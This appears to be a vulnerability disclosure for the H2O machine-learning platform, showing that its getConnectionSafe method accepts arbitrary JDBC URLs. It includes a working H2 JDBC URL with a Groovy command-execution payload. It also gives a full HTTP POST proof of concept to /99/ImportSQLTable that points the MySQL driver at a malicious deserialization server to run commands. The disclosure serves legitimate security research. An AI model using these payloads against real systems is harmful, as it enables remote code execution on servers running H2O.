Description

credit:Aftersnows@360 Vulnerability Research Institute

Due to H2O using the getConnectionSafe method, it appears that the intention was to establish a secure connection. However, in practice, no restrictions are placed on the JDBC connection settings, allowing attackers to arbitrarily set the JDBC URL. This can lead to deserialization attacks, file reads, command execution, and other risks on the victim's server.

The code is as follows:

 public static Connection getConnectionSafe(String url, String username, String password) throws SQLException {
        initializeDatabaseDriver(getDatabaseType(url));
        try {
            return DriverManager.getConnection(url, username, password);
        } catch (NoClassDefFoundError e) {
            throw new RuntimeException("Failed to get database connection, probably due to using thin jdbc driver jar.", e);
        }
    }

(The original project also has another instance of DriverManager.getConnection, which is triggered later. This should be noted and modified.)

This code can lead to malicious JDBC connections, posing an RCE (Remote Code Execution) risk with SQL drivers such as MySQL, PostgreSQL, and Derby.

Even in org.h2.Driver, you can trigger command execution via the script system by sending the following JDBC URL:

String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\\"calc\\")" + "})" + "def x";
String url    = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "'

Proof of Concept

Here, I'll use mysql-connector-java-8.0.19.jar as an example to illustrate how RCE (Remote Code Execution) can occur (many drivers have similar issues, primarily due to the lack of control over JDBC connection settings).

java -jar h2o.jar
java -cp "h2o.jar;mysql-connector-java-8.0.19.jar" water.H2OApp

If an attacker can control the JDBC connection settings, they can trigger ObjectInputStream.readObject() by configuring the connection to point to a malicious MySQL server, thus constructing a deserialization exploit chain leading to RCE.

When establishing a JDBC connection to a MySQL server, several built-in queries are executed. Two of these query results are processed by the MySQL client, and during this processing, ObjectInputStream.readObject() is used to deserialize objects. If an attacker can control the JDBC connection settings, they can configure the connection to point to a malicious MySQL server, thereby triggering a deserialization vulnerability in the MySQL JDBC client.

Additionally, the H2O dependency naturally includes deserialization libraries, which makes RCE (Remote Code Execution) so simple and straightforward.

https://github.com/user-attachments/assets/4fdb1c7a-ff0b-498e-b34f-217743ee0c98

The API path: /99/ImportSQLTable

POST /99/ImportSQLTable HTTP/1.1
Host: 172.20.10.3:54323
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/json

{
  "connection_url": "jdbc:mysql://127.0.0.1:39502/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC44_calc",
  "table": "my_table",
  "select_query": "SELECT * FROM my_table WHERE date > '2023-01-01'",
  "username": "deser_CB_calc",
  "password": "my_password",
  "use_temp_table": "true",
  "temp_table_name": "temp_my_table",
  "columns": "column1,column2,column3",
  "num_chunks_hint": "10",
  "_exclude_fields": "frames/frame_id"
}

bong! triggering beautiful command execution

https://github.com/user-attachments/assets/e85a52f1-569b-486a-95eb-04b07551d704